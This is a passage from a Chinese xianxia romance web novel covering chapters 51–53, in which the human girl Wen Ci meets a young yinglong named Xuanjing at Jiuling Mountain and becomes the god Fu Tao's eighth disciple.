关于九岭山,关于伏弢。
可她才站定,人群忽然安静下来。所有人的目光,都落在了她的身上。或审视、或打量,也有纯粹的好奇。
他们终于嗅到了不同于修仙之人的气息——纯粹的人的气息。
蔺容拨开三两人,走到她面前,鼻翼翕动,围着她仔细嗅了嗅,眼里满是诧异,问:“你是人族?”
温辞点头。
“你是怎么跨越山脚下那道天堑的啊?”人群中,有人问她。
天堑?什么天堑?
温辞并不知道九岭山下有一道深不见底的天堑。也正是因为那道深渊,阻隔了许多前来九岭山感谢伏弢救命之恩的普通凡人。
天堑很宽,纵是有些术法的凡人修仙者,也很难通过。而能够跨越那道天堑的,大多都是修行界的佼佼者。
一运气,便能腾云。一捏诀,便能瞬移到任何没有禁制的地方。
像温辞这种,身上没有半点修行痕迹、且看起来命不久矣的脆皮人族而言,是无论如何也翻不过来的。
也正是因为如此,温辞在山脚下没有遇见一个人。
除了她,在场的所有人都不需要爬山。
温辞:“是有人带我过来的。”
“我就说嘛,你一个瘦弱不堪、连一身衣服都穿不起的人族,怎么会跨过天堑,走到这里。”
“就是。”
“哎,你不会也想拜神君为师的吧?”
“开什么玩笑,她身上没有半点修行的气息,只是一个长得还行的普通人类,有什么资格拜入九岭山。”
白鹰看向温辞的眼神,满是不屑。在他眼中,普通的人族,和蝼蚁没有什么差别。他只需要动动手指,就能杀死一大片人族。
他打量温辞的同时,温辞也在打量他。
尽管他的那些话、打量她的眼神都让她不舒服,想要骂人,甚至是动手揍人。但她没有,神色异常平静。她深知自己这个世界的渺小,心里更是一遍遍地默念着幸福者退让原则。
她始终压抑着自己的真实情绪,落在外人眼里,是自如,冷静,甚至是无视——对那只原身是只凶猛禽类的修仙者的无视。
当然,白鹰也感受到了。
这个渺小低贱的人族,不仅敢直视他的眼睛,甚至还无视他的话。他甚至想要杀了她,以最残忍的方式。
可现在不是在他的地盘,周围又有那么多的闲杂人等,他一旦真的动了手,伏弢肯定就不会收他为徒了。
所以,他不能。可他也不愿就这样轻而易举地放过她,下意识放出属于上位者的威压。无论如何,他都不能让眼前这个无视他的渺小人类快活。
他的威压,大多来自鹰喙和鹰爪,可以不着痕迹地抓破人的肌肤。尤其是对于她这样没有任何法术的普通人来说。
可奇怪的是,她好像并没有什么不适。
就在白鹰正准备加大威压的力道的时候,蔺容察觉到他的动作,不着痕迹地站到了温辞面前,说:“秃鹰,注意你的言行。这是在九岭山,不是你悬崖上的巢穴。”
白鹰好像很害怕蔺容,收了威压,冲着蔺容跳脚,叫嚣道:“你这小杂毛,跟你说过多少遍了,老子是白鹰,白鹰。你再敢喊老子秃鹰,老子就把你的脑袋上的那缕白毛给啄秃。”
蔺容连白眼都没舍得给他,直接无视。
他看了温辞一眼,问:“你还好么?有没有哪里不舒服?”
温辞不太明白他为什么这么问,只是冲他摇头,又道了谢。
蔺容却愣了下,刚才他清楚感觉到那阵不太明显杀意,自白鹰身上涌出。
他和白鹰一直不对付,斗了上千年。他太了解白鹰的手段和心思了。这个人族少女的忽视,明显惹怒了他。
可她好像完全不受白鹰精神力的影响。
不由得,蔺容对她多了一点好奇。
“我叫蔺容,山猫族。”他主动和温辞介绍自己。
“温辞,人族。”温辞学着他的方式,简短介绍了自己。随即,把视线投向在场的所有人。
“你是在找人吗?”蔺容问她。
“嗯,我男朋友。”温辞有点心不在焉,说完才反应过来自己到底说了什么,又连忙补充了句:“找我的心上人。他叫司渊。”
蔺容也跟着扫了一圈人群,摸着脑袋,一脸困惑地说了句:“在场的大多数人我都认识,没有听说过这个名字啊。他还有什么其他的特征吗?他的真身又是什么?”
温辞愣了一瞬,随即勾出一抹浅笑,说:“长得很好看算吗?”
蔺容也没有料到她会是这个回答,愣了一瞬后,也无奈笑了下,打趣道:“你这是情人眼里出西施,当然不算。”
温辞想起那座已经沉入海底的孤岛,想起她胳膊上突然出现应龙图案的纹身。她现在,已经不再单纯的认为司渊是一个普通的人类了。
至于司渊的真身到底是个什么东西,她心里也有了一个大致的猜测。
不对,不是猜测,而是笃定。
“至于真身嘛——”
她才说了这么几个字,头顶忽然聚起一大片乌云。几乎是同一时间,空中掀起一片骤风。黑云压顶,疾风骤起,颇有几分山雨欲来风满楼的意味。
人群之中,衣袂飘飘,周围的树叶被吹得猎猎作响。
温辞甚至有点睁不开眼。她伸手去遮,从指缝中扫了一眼周围的人群。这强风影响的,只有她。
除了她,别人都能正常视物。
蔺容注意到她的异样,将她拽到了自己身后,说:“你从来没有修行过,抵不住这样的强风很正常。你站
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我后面,一会儿就好了。”
站在蔺容的身后,他为她遮挡了大半的风力。
她总算能睁开眼睛了。
蔺容以及其他人,都仰着脖子,看着头顶的那片翻滚的乌云。
“怎么会忽然起风啊。”她问。
蔺容指着半空,说:“那片乌云看见了吗?里面有一条黑色的应龙。许是年龄太小,又许是术法不太精进,他一时没能把控好力道,这才起了风。因为你从来都没有修行过,所以承受不住这阵强风。”
温辞:“啊?”
“别怕,等他下来,乌云和风都会消失的,对你也不会有什么伤害。”蔺容拍了拍她的肩膀,语气也更加温和,“他马上就要下来了,估计也是赶来九岭山拜师的,如果你害怕的话,可以闭上眼睛。”
“谢谢,我不怕。”说完这些,温辞从蔺容身后走出来,也和其他人一样,仰头看着乌云。只不过,她是眯着眼睛的。
蔺容格外多看了她一眼。
她的确和其他的人族不太一样,尽管她被应龙身上自带的龙气搅起的这团强风吹得睁不开眼睛,但从她的脸上,看不出半点害怕,反而很兴奋。
他甚至从她的眼睛里看出一抹期待,她在期待着那只应龙崽子的降落。
温辞把全部的注意力都放在了那团乌云上,完全没有注意到蔺容投过来的视线。她万分期待蔺容口中的那只应龙的降落,她迫切地想要知道,隐在云层中的,到底是不是司渊。
她把注意力全都放在了那团乌云上,以至于没有察觉到手臂上传来的细微变化。一层淡紫色的雾气正从那道黑色的应龙鳞片处涌出,那截手臂也微微泛着细微的痒意。
没一会儿,乌云逐渐散去,风也小了很多。她终于可以不用眯着眼睛,也能清楚看到飞在半空中的东西。
不对,不能说是东西。
那是一条黑色的、脊背上长了双翅膀的应龙。只是那双翅膀要比她梦里见过的那条、以及孤岛庙宇里的塑像要小上很多。
结合刚才蔺容的话,温辞很快得出结论:此时的司渊还是一只没长大的小崽子。
她还真想看看这个时候的司渊到底是什么样子呢。
除了期待,温辞脸上还多了一抹暂且可以称之为雀跃的情绪。
转瞬,风消云散,碧空万里。
应龙崽子在半空中绕着人群飞了两圈后,一个俯冲飞下来,落到了人群前面不远处的空地上。
温辞连眼睛都不舍得眨,亲眼看着他从一条不存在于现实世界、只在神话传说中才出现的生物变成了活生生的人。
“你这小泥鳅,会不会飞啊?起这么大风,老子都要被这妖风给吹散架了。”白鹰把没撒出来的郁气悉数冲着那条连术法都控制不好的应龙身上。
温辞率先走过去,母鸡护小鸡一样,站到了司渊面前。
她特意用那种意味深长的眼神打量白鹰一眼,轻飘飘说了句:“啊,原来你这么虚的吗?我这个没有修习过术法的人族都没有被吹散哎。”
说完,她的视线从他的脸上缓缓下移,最终落在他小腹下方三寸的位置。
同时,一阵哄笑声自人群中传出。
51. 双修
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三三两两的目光落在白鹰身上,他又羞又赧,额上的青筋都快迸出来了,半晌都没说出一句完整的话。
“你——你给我等着。”
话音未落,他化成一只黑灰色的老鹰,扯着脖子嘶鸣一声后,飞入云霄,没了踪迹。
应龙的性子是很暴躁的。而眼前的这条,不仅性子暴躁,而且有起床气。
他的家就在九岭山前的那道天堑中。堑底是一潭深不见底的深渊,自破壳而出后,他就一直待在那儿。
平日里最喜欢做的事情,就是潜在潭底睡觉,一睡就是上千年。
睡醒后,他会通过地下四通八达的水系去四海三江觅食。吃饱后,他便会重新返回潭底修炼。觉得疲累了,就又去睡觉。
此处山岭,虽景色宜人,但因为那道天堑,少有人至,甚至可以用荒无人烟来形容。可不知为何,自他上次入眠后,隔三差五便能听到喧嚷的三两人声,很是扰人。
不对,是扰龙。
他平生最厌恶的,就是别人打扰他睡觉。而今天,是他被吵醒的第三次,且声音越来越大,他用爪子堵着耳朵也没用。
根本睡不着。
于是,他带着寒潭的水汽,怀着被吵醒的怒气,一飞冲天。
他是故意把周围搅得一片狼藉,而不是像蔺容以为的那样,是只连功法都控制不了。但他的确是条不过一万三千岁的小崽子。
再加上他没有刻意收着自己的气息,凡是修习到一定水平的修行者,都能够闻到他身上浓烈的专属于应龙这个物种的味道。
应龙是上古生物,龙血龙肉的功效暂且不言。
单是他体内的龙筋,无需炼化便是品质最为上乘的捆仙绳。而身上一片片流光溢彩的鳞片,更是制成这世间最坚硬铠甲不可或缺的材料。
这世上,有猎魔人专门猎杀这些上古生物的。
也正是因为如此,但凡是术法有所成的上古生物,都会掩盖自己的真身和气味。
所以,当应龙裹挟着数不清的寒气和狂放不羁的龙气在乌云里翻滚时,蔺容才会先入为主,认为他是一只连术法都还不能自我掌控的小崽子。
他才一落地,正准备对着喧扰的人群发难。
微风袅袅,熟悉的气息夹杂着一道异常甜美的味道,猝不及防钻入他的鼻息。
他扫了一圈人群,很快把视线定格在那个穿着奇装异服的少女身上。
这一眼,好似时光停滞,又好似过了万年。
周围的一切喧嚷,都被隔绝在外。他只听得见她的呼吸,只看得见她雀跃朝着自己奔来的身影。
一步一步,就像是踩在他的心上。
他眼看着她走近,正准备开口和她说话,她忽然转过身,不仅将他护在了身后,而且还替他出头。
不过三言两语,她就将那只对他出言不逊的丑陋的秃顶小鸟给气飞了。
-
须臾,白鹰踪迹全无。
蔺容收回视线,他朝着温辞走来,叹了口气,无奈说道:“你不该惹怒他的。白鹰这家伙,心胸狭隘,睚眦必报,他以后肯定会找你麻烦的。”
眼前这个人族少女,美则美矣,就是太弱了。如果让秃鹰这个残暴的家伙抓住,一爪子拍下去,她就会开膛破肚的。
他暗自脑补了一下这个画面,忍不住蜷了下手指,看向温辞的眼神更加温和。
温辞随口应了句:“没关系,以后我躲着他就行了。再说了,我和他不是一个世界的人,以后应该不会再碰面了。”
她对蔺容的第一印象还不错,再加上他本人又很温和,尽管对她关照有佳,但进退有度,至少她没有感到半点不适。所以,她一个没注意,把自己的真心话说了出来。
此时此刻,她心里当真是这么想的。她已经找到了司渊,等把那两颗珠子送到伏弢手上后,就能让司渊把她送回去了。
温辞和蔺容的交谈十分融洽,以至于没有觉察到站在她身后的应龙崽子,正在观察她。
用观察猎物的眼神。
她身上的气息,让他感到无比亲切。
暴躁不安的情绪,在熟悉的气息中得到安抚,逐渐安宁下来。
他不再满足于只是嗅她的气味,心里甚至在盘算着待会儿将她叼回自己的窝里去。
他之前去湖底觅食的时候,偶尔听一位老龟说起过一种特殊的、能够快速精进术法的修炼方法——双修。
他喜欢她的味道,如果和她双修的话,他是愿意的。
前提是,她足够强大,能够承受住他。
他歪着脑袋,视线落在她纤细的脖颈上,甚至已经想好了从哪里下口。
可是,她宁愿和一只山猫说话,也没回头看他一眼。应龙眼中浮起一抹愠色,扫向蔺容的那双漆眸显得越发寒凉。
片刻后,愠怒又很快消散。
山猫比他要强,他打不过!
忽然,应龙脑海中浮现出这么一个念头:这个山猫一直和她说话,是也准备将她叼回自己窝里双修吗?
不行,绝对不行。
可是他的修为不敌眼前这只山猫。
应龙神色恹恹,眼波微转,勾起一抹浅笑。如果他此刻照下镜子,一定会觉得此时此刻的自己,谄媚至极。
少女身上的味道实在清甜,勾着他忍不住向她靠近。他微微弓着腰身,鼻尖距离她脖颈的肌肤,不到一指的距离。
和其他人相比,他的身体很热,尤其是从水里出来之后。
“姐姐,你也是一条应龙吗?”话一说出口,温热的呼吸夹杂着些许的痒意,扑打在她的肌肤上。
猝不及防,温辞瑟缩了一下,和蔺容的对话也戛然而止。她转过身,他的鼻尖虚虚蹭过她的额头。而温辞却只能看到他那双异常明亮的眼睛。
熟悉,又陌生。
“姐姐?”见她只是盯着他发呆,他又喊了她一声。
温辞终于回过神。
在她的世界,她早已经习惯了和司渊的亲密接触。她的潜意识认为,和他如今的距离没没有任何距离。所以,她没有后退。
蔺容眼中闪过一抹诧异。
明明在和他的交谈过程中,这个凡人少女始终和他保持着恰当的社交距离——不远,也不近。
可再看眼前的这两人,都快亲上了,却谁也没有后退半步。
看着他略显青涩的五官,温辞脑海中闪过刚才他在半空中搅弄风云的原身,以及还在海底的等待救援的司渊,下意识开口反驳:“不
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要叫我姐姐,咱俩说不定谁大呢。”
“我才一万三千岁,姐姐你呢。”
才?
温辞眉心跳了两下,说:“我才十八。”
“十八?”应龙也跟着蹙起了眉,言语中带着一抹惊讶,又像是不满,“你是人族?”
不等她回答,应龙又凑得更近了些。鼻尖彻底贴上她的肌肤,滚烫的触感让温辞的面上一热。
她眨了下眼睛,终于后退两步,随即点点头,说:“司渊,你好,我是温辞。”
“司渊是谁?”他的眉头皱得快能夹死一只蚊子了。
温辞也愣住了。
“你不是司渊?那你叫什么?”她问。
“玄境。”他的语气听起来有些不善。
司渊这两字在他齿关转了一圈,他忽然觉得,这个名字,倒是比玄境更适合他。但玄境这个名字,是前段时间他偶然遇到的一位上神赐下的名字。
在此之前,他无名无姓。
“玄境——”温辞低喃一声,随即想起她在那座孤岛上的神秘殿宇中的那尊塑像上看到的那一行小字。
一瞬间,温辞全部明白了。司渊是他的神职,而玄境才是他原本的名字。
“玄境。”她又咕哝了声,随即扬起一抹笑颜,无比真诚地赞美了一句:“你的名字很好听。”
他原本还在想,司渊到底是哪个野男人的名字,忽然听见她在念他的名字。或许是爱屋及乌,他忽然觉得,这个名字从他嘴里说出来,特别有韵味,特别好听。
这一刻,他将一切杂念都抛诸脑后,满脑子盛的,都是她的笑脸。他的胸腔里,像是吸进了无数个跳动的泡泡挤压着他的心脏,又同时碎裂。
罢了,人族就人族吧。
虽然她的寿命很短暂,但他的血肉可以让她的寿命得以延续,虽然不能永生,但千年万年还是没有问题的。
而且,他听那只老龟说过,只要他的术法再精进一些,双修之后,她的身体状况也能得到很好的滋补。
几乎是一瞬间,玄境做了一个决定。
他和那只刚被伏弢收伏的美人鲛一样,天生天养,完全没有经受过系统的教育。在他心里,只有他想和不想,完全没有考虑过对方是不是愿意。
他甚至已经做好了和站在不远处的那只山猫打上一架的准备。如果他阻拦自己寻找双修伴侣的话。
“你——你长得也很好看。”玄境眉眼微敛,他原本想说的是她的名字也很好听。临开口,他忽然忘记了她叫什么,反而把自己的心里话给说了出来。
“谢谢,你——”
“神君出来了。”不等温辞把话说完,蔺容打断了她。
同时,人群又一次变得躁动。
“快看,伏弢神君出来了。”
“他身边跟着的那个少女是谁啊?之前从没有见过啊。”
......
温辞听了一耳朵,余光瞥见徐徐走来的两道身影,拽着始终离她很近的玄境,往后退了几步。
她没有去牵他的手,只是攥着他的手腕。
玄境的视线从她的手背,缓缓上移,落在她的脸上。片刻后,又看了一眼旁边的山猫,心中暗喜。
她这是选择了他吗?
52. 是他
-
看吧,她还是选择了他。
不由得,玄境有些得意,连神情都带着几分不驯。
少女的掌心比他的体温要低上很多,像潭底温润冰凉的清水,很舒服。她的指尖,紧紧压着他的脉搏。冰凉的触感沿着纤细的血管,游走于周身。
他那颗躁动不安的心在她无形的安抚中,也逐渐安定下来。而人群中的骚动却还在继续,他终于舍得把注意力从温辞身上挪开,分了一点给周围。
他听到了人群中被喊的最响亮的那个名字——伏弢神君,也顺着温辞及其众人的视线,看到了徐徐朝着人群走来的两人。
男人丰神俊朗,颇具清雅。少女活泼灵动,怡然自乐。
看清男人长相的一瞬,玄境忍不住低喃一声:“是他!”
温辞讶然,抓着他手腕的稍稍用力,踮起脚尖,凑在他耳边,低问一句:“你认识啊?”
她实在好奇,拜师都还没开始,他是怎么认识伏弢的?
“也不算是认识,有过一面之缘。”玄境停顿一瞬,又说:“我的名字,就是他帮我取的。”
对上温辞疑惑的目光,玄境颇有耐心地同她解释道:“前段日子,我去江边觅食,偶然遇到这位神君。不知道为什么,他非说与我有缘,非要给我赐名。刚好我没有名字,刚好他取的名字还挺好听,我就接受了。不过,我倒是看不出,我与他有何缘分。”
温辞点点头,视线重新落回到伏弢身上。玄境继续碎碎念:“虽然他是神君,长得也还可以。但他神叨叨的,尤其爱多管闲事,仇家特别多。我们还是离他远些,不要靠近的好。”
玄境的想法很简单,以他目前的修为,勉强能够保护得了她。伏弢神君的名声,都是靠一次又一次的行侠仗义积攒出来的,他有多少的追随着,也就相应有多少仇敌。
如果他如今还是一个人,倒是怎么也没关系。可现在,他有了一个想要在一起的柔弱凡人,那还是不和遍布仇敌的伏弢扯上关系的好。
独善其身,是目前的最优解。
其实,玄境并不讨厌这位给他赐名的伏弢神君,甚至还有点喜欢他。如果不是因为伏弢的仇敌太多,他愿意同他交好的。
他本想拉着温辞后退,等彻底融入人群,就悄悄离开。
可温辞好像对伏弢产生了极大的兴趣。她看向伏弢的眼神,比看那只山猫还要热切。
他甚至拉不走她,只好陪她一起站在那里,眼睁睁看着那两人走近。
-
另一边,伏烟心情复杂地扫了一圈喧嚷的人群。
在来之前,她已经听伏弢说了,除了她,他还要再收几个徒弟。而且还说,以后他收的那些徒弟,都是她的家人。
听完这些话,伏烟的心情有点复杂。
她既为自己即将多几位家人而开心,又担心那些人会和她抢伏弢。直到她看到一张熟悉的面孔,那些纷杂的情绪逐渐消散。
“呀,你也来啦。”
伏烟步子变得欢快,很快越过伏弢,朝着温辞小跑而来。
近了,见她和玄境牵着手,她的脚步也跟着慢下来,挤到蔺容和温辞中间的空隙,歪着脑袋,问她:“你也是来拜师的吗?”
一边问,她一边凑近温辞,嗅她身上的味道——香甜,比她以往吃过的所有食物都要香甜。情不自禁的,她看向温辞的眼神变了。
温辞半点没有察觉,不仅冲她点点头,还冲她笑了笑。
玄境却是一眼就看出了异样,被牵着的那条手臂骤然用力,拽着温辞后退两步后,他站到了温辞身前,挡住了伏烟垂涎欲滴的视线,恶狠狠地说了句:“收回你看猎物的目光,不要打她的主意。你敢吃了她的话,我就吃了你。”
温辞也想起之前她曾说的那番话,下意识抓住了玄境的衣服,一脸谨慎地盯着伏烟看。
伏烟被他的这番话给弄了个大红脸,一时间手足无措。
她看了一眼面前这个凶巴巴、浑身都散发着戾气的男人,又看了一眼他身后只探出半颗脑袋的人类,急切又结巴地解释道:“我...我没想要吃她,我就是闻一闻。”
“我已经答应师父了,我不会吃她的,以后也不会。”说完,她转头看了一眼伏弢,像是跟他保证。
伏弢冲她点了点头,伏烟又重新把视线落在温辞那半颗脑袋上,说:“你别怕,我不会伤害你的。只是你太香了,我没忍住,就多闻了一下。”
“你只要不吃我,我就不怕。”温辞拨开玄境,重新站到她面前。
伏烟的余光从温辞挽着玄境胳膊的手上挪开,“你放心,我已经答应师父了,以后不会乱食人的。而且,你不是也要拜师嘛。那我们就是一家人了,我更加不会伤害你,我还会保护你。”
看着眼前这个无比天真的伏烟,温辞的脑海却闪现出已经入魔的伏烟叫嚣着要杀了她的画面,这让她感到很撕裂。
温辞:“你...保护我?”
伏烟颇为自豪地拍了拍胸脯,说:“对啊,我是九岭山的大师姐,等你入门后,你就是我的小师妹。师姐当然要保护师妹。师父,你说对吧?”
“对。”伏弢也被她这番话给逗笑,随口应了她一句。
两人交谈的声音虽然不算太大,但在场的诸位都是修行之人,她说的每个字,他们都听得清清楚楚。
一开始,众人以为她们只是旧友重逢,并没有过多在意。直到伏烟不经意间说出‘师父’‘大师姐’等字眼后,所有人的目光都落在了伏烟身上。
沉默一瞬后,人群中掀起又一次的哗然。
“我没听错吧?她刚才是不是说她是九岭山的大师姐?”
“没听错,没听错,我还听见她喊神君师父了呢。”
“拜师礼不是还没开始吗?神君什么时候收的徒弟?”
“那拜师的名额岂不是又要少一个?”
“可她看起来很幼稚,术法又不纯熟,听她刚才说的那些话,她以前好像还吃人啊。我不想让这种人做我的大师姐。”
……
“与其考虑这些,你还不如想想怎么让神君收你为徒。人家再不济,也已经是九岭山的大师姐了。”
最后这句话,是蔺容说的,语气不似寻常那般平和。他不喜欢这些人仅凭三言两语就给一个完全没有接触过的陌生人下定论。
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他说完这些,人群又一次变得安静,绝大多数人的视线也相应落在他的身上。
包括伏弢和温辞。
玄境和伏烟却像是没有听到这些人的话,一个防备地盯着伏烟,生怕一个不注意她就对着温辞的胳膊咔叽咬上一口,而另一个则十分好奇地打量起温辞来。
温辞不知道,此时此刻,伏烟已经把她当成自己人了。
伏弢一直安静站着,可无形中释放的威压,却让每个人都心头一颤。议论声终于停止,彻底安静下来。
他扫了一眼人群,对前来拜师的人有了一个大致的了解。相比之下,视线在玄境和蔺容身上停留得稍微长了一点。蔺容会来,他不意外。但玄境站在那儿,他是没想到的。
他初次碰到玄境那天,隐约感觉到未来他会和这只应龙崽子会有千丝万缕的羁绊,一时兴起才会帮他取了名。
却没想到,这羁绊,竟是万万年的师徒情分。
伏弢会心一笑,收回视线,转而对着人群说道:“感谢拨冗,让诸位久等了。”
他一说话,就吸引了所有人的目光。就连伏烟,也不再研究温辞,专注地看着站在高台上的他,眼眸里满是崇拜却不自知。
被温辞气得飞走的白鹰,收到旁人的传信后,又不知不觉重新回到了队伍。大多数人的注意力都在伏弢身上,除了身边的三两人和伏弢,大多数人都没有注意到他的回归。
伏弢的视线很快从白鹰的身上收回,沉声道:“九岭山,顾名思义,有九座险峰组成。本君知道,在座的诸位大多是各族的翘楚,慕名而来,我很感激。但九岭山很小,容不得这么多人。”
“我居主峰,我的大徒弟伏烟占一峰,九岭已去两岭。故,此次本君会收七个徒弟。”
就这样,伏弢神君座下九岭山大师姐伏烟的名号在各族翘楚中打来出来。
伏弢完全不理会人群中又一次爆起的喧闹声,抬手一挥,神力撕裂时空,面前出现了一道类似于结界的半透明的虚空之门。
“诸位只需依次走入这扇门,若与我有命定之缘,尽头便是九岭山其中一峰。若是无缘,这扇虚空之门便回将你们送下山。”
“开始吧。”
话落,一群人争先空后往迈入虚空之门,生怕落在后面。
不过片刻,场上就只剩下蔺容、温辞、玄境和看热闹的伏烟。
蔺容冲温辞等人点了点头,率先踏了进去。温辞紧随其后。她一只脚甚至已经迈入了虚空之门,玄境一把拽住了她的胳膊,诧异问道:“你也要进去?”
他站在外面,都感受到了虚空之门充斥着的磅礴神力。
温辞先是看了伏弢一眼,随即在伏烟的期待目光中,冲玄境点了点头。
也是这一刻,她终于明白海底的那个伏烟无意间脱口的那声‘师妹’是什么意思。
命中注定,她会拜入九岭山。
玄境皱着眉,默默加重了手上的力道,说:“你这个身体状况,冒然进去的话,会被神力给撕碎的。你会灰飞烟灭的。”
温辞听了,连忙把脚从虚空之门上撤了回来。
她还要回去救人呢,可不能灰飞烟灭。
53. 闭关
-
温辞一脸后怕,后退两步,离虚空之门远了些。
“啊,你要放弃了吗?”伏烟有点失落。
温辞冲她张了张嘴,却什么也没说,转而把目光投向伏弢,忐忑开口,道:“伏...伏弢神君,我能不能...”
“不能。”伏弢像是猜到她要说什么,直接开口打断,“你只有入了我九岭山,我才能收你的东西。”
温辞:“可我不想死,也不能死,还有人等着我去救呢。”
伏弢轻笑一声,说:“放心吧,死不了。虚空之门里的神力的确磅礴,也的确会让你这种身无半点术法的人灰飞烟灭。但你手臂上的那条——”
说到这儿,他顿了下,视线在玄境脸上转了一圈后,又缓缓说道:“你手臂上的那个东西,应该能够护你周全。”
温辞注意到他的视线,余光瞥了一眼玄境,下意识用掌心覆上了那道应龙图案。
暗道:这到底是怎样的一个世界啊?他究竟是怎么看出那道图案和司渊——
不对,是和玄境有关系的啊!
同时,她心里忽然生出一种别扭感,她并不是很想让玄境发现她手臂上的异样。
可玄境一直在观察她,自然也就没有错过她的一举一动,随口问了句:“你之前有见过我吗?”
不然为何要把他画在身上。
他认出她手臂上画的,是他的原身。
温辞正要否认,抬眸看见他正盯着自己的手臂,一时不知该如何解释。
幸而伏弢又一次开口,打断了两人的交谈,“再不进去,虚空之门就要关了。”
温辞依旧很忐忑,磨磨蹭蹭,却始终没有勇气迈进去。
“我真的不会灰飞烟灭吗?”她问。
伏弢没有明确回答她的问题,反而是意味深长地看了一眼玄境,说:“如果你实在担心,可以让你身边那条小崽子陪你一起进去。有龙气互体,必不会叫你灰飞烟灭。”
“前提是——他愿意拜入九岭山的话。”
之所以这么说,是因为伏弢一早便看出玄境的不情愿。他之所以还留在这里,是因为这个神秘的凡人女孩。
可他又的的确确和自己有着命定的师徒缘分,所以才会故意这么讲。
果然,玄境想也没想,立马拒绝。
“我不愿意。”
温辞也愣住了。她从没想过,他会说不愿意。明明他——喊了伏烟师姐的。
“为什么不愿意?”下意识的,她问出了自己的心里话。
玄境:“我对修仙没兴趣,更加不想成神。”
温辞:“那你想干什么?”
玄境垂眸看了她好一会儿,才说:“和你双修,算吗?”
“咳咳——”温辞被自己的口水给呛到了,脸也跟着燥热起来。
“只不过你现在的身体太弱了,恐怕承受不住我,所以得等等。”玄境顺着她的后背,贴心说道。
就连伏弢,也被他这话给惊得瞪大了眼睛。他竟不知道,这条桀骜不驯的应龙崽子,会如此奔放。
转瞬,他又有了新的对策,继续劝说:“正是因为她的身体弱,所以才更得拜我为师啊。届时我授予她一些强身健体、益寿延年的术法,你们也好早日——双修啊。”
最后几个字,几乎是从伏弢牙缝里磨出来的。他自幼端方,从没像今天这么奔放过。
玄境听完,一言不发地思考了一会,不由分说地拽着温辞踏入了虚空之门。
虚空之门关闭的一瞬间,伏烟的话隐隐传入两人耳中。
“师父,双修是什么感觉啊?当真能增进术法吗?”
“师父,我也想双修,和你一起。”
“师父,你别跑啊,你等等我。”
“师父——”
虚空之门的入口完全关闭,从始至终,两人都没有听见伏弢的回应,但温辞甚至能想象出他落荒而逃的身影。
温辞胳膊上又一次发出温热的光芒,消失的结界重新出现,像个保护罩一样重新笼罩在温辞身上。
玄境走在她前面,一回头,就看见套在温辞身上的结界。他原本只是想触摸一下,却被一道无形的吸力给吸进了结界内。
仔细研究一番后,玄境忽然发现,他能够自由出入这道结界.为此,他对结界产生了极大的兴趣,一直缠着温辞问。
没有办法,她只好骗他说,这道结界是伏弢为了确保她不会被神力撕碎设下的。
这时候的玄境,性子实在单纯,竟也没做多想,就相信了她的话。
原因无他,温辞只是一个再寻常不过的凡人,身上没有半点术法的气息。既然这道结界不是她结的,那也就只能是伏弢神君了。
“想不到这伏弢神君,还挺有心。”他随口嘟哝了句,“也罢,左右我也不讨厌他,就拜他为师,学学这道术法。”
不知道是因为司渊在她身上种下这道结界的缘故,还是因为伏弢神君真的对她颇有照拂,她不仅没有被磅礴的神力撕碎,而且没有遇上任何考验或者危险。
她和玄境就在虚空之中走了一段,一道白光闪过之后,她人就在九岭山峨眉峰了。而玄境则不再她的身边。
后来,她才知道,玄境被虚空之门送到了她隔壁的缥缈峰。
也是后来,温辞才知道,除了她和玄境,其他进入虚空之门的人,或多或少都被伏弢的神力所伤。
没一会儿,玄境寻着她的气息,飞来了峨眉峰。
他将温辞的峨眉峰转了个遍后,又带着她回到自己的缥缈峰,仔仔细细转了个遍,任何角落都没有放过。
忽然,伏弢通过秘法传音,邀请每一个通过选拔的弟子到主峰集合。
不等温辞反应,玄境已经揽着她的腰飞到了半空。
她又惊又喜,环紧了他腰身的同时,把眼睛睁开一条缝,看着脚下的云海,心中起了万分波澜。
在现代,她也只是在飞机上看见过这样的景色。可如今,她是完完全全置身于云雾之中。
片刻之后,玄境带着她稳稳落地。
相比之下,缥缈峰和峨眉峰是离主峰最远的两座山峰,再加上玄境有心让温辞感受一下半空的风光稍作停顿,是以,两人是最后一个到达的。
伏弢站在高台,伏烟和那群新晋的弟子们站在一起。众目睽睽之下,温辞和玄境走了过来。
也是这时,温辞才发现,除了她和玄境,其余从虚空之门出来的人身上有着或多或少的伤痕。所以,她在观察他们的同时,他们也在观察她和玄境。
就这样,九岭山一众同门,全员到齐。
伏弢神君,九尾狐,居独照主峰。
大师姐伏烟,美人鲛,入离独照峰最近的挽月峰,赐若干夜明珠。
二师兄蔺容,山猫,入星辰峰,赐虎啸术。
三师兄谷珈,人族修士,入珈蓝峰,赐闭息术。
四师兄辛储刃,刀灵,入孤刃峰,赐挽月刀。
五师兄万鹤荣,仙鹤,入白鹤峰,赐仙丹一枚。
六师兄颜真,火凤,居半崖峰,赐三昧真火一炉。
七师兄玄境,应龙,居缥缈峰,赐金乌一只。
八师妹温辞,人族,居峨眉峰
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,赐养生药丸数枚。
-
拜师礼后,温辞被伏弢单独留下,她把那两颗留影珠全部交到了伏弢手上。
“你且先行回去,等为师看完留影珠上的信息,再去寻你。”伏弢攥着留影珠,若有所思。
殿外。
师兄师姐们都还在原地候着,谁也没有先行离开,见她出来,纷纷围上去询问。
“师妹,师父留你做什么?”
“是啊,怎么这么长时间?”
...
面对一张张真挚且好奇的面孔,温辞不知道如何解释那两颗留影珠的存在,只含糊应了句:“也没做什么,就是给师父送了束脩。”
温辞说完,他们全都安静了,脸上不约而同显露出羞愧的神色。
除了伏烟。
蔺容:“还是师妹想得周到,我马上就去准备。”
“师兄等我,我也一起。”
“还有我。”
...
一阵风之后,殿外就只剩下温辞、玄境和伏烟三人了。
温辞看了玄境一眼,玄境抬手,幻化出一块鳞片,说:“我已经准备好了,这块护心鳞是我身上最为坚硬的一块,刀枪不入。我决定将它作为束脩送给师父。”
伏烟对鳞片不感兴趣,她尾巴上的鳞片,不知要比玄境手上那块乌漆嘛黑的好看多少倍,她只是有点好奇,问:“束脩是什么?”
温辞简单和她解释了一番,伏烟思索了一会儿,边跑边喊:“我知道要送师父什么了。”
弟子们准备好的束脩也没机会亲手交到他手上,只是托伏烟把束脩送到独照峰的库房。
因为自那日后,伏弢神君闭关了。就连伏烟,他也闭门不见。
三年后,伏弢才出关。
对于温辞来说,三年很长。可对于九岭山的其他弟子而言,不过是弹指一挥间。
好在,九岭山的一众弟子都是好相与的,相处的极其和睦。她感受到了前所未有的同门之谊。
尤其是伏烟和玄境,缠人的紧。
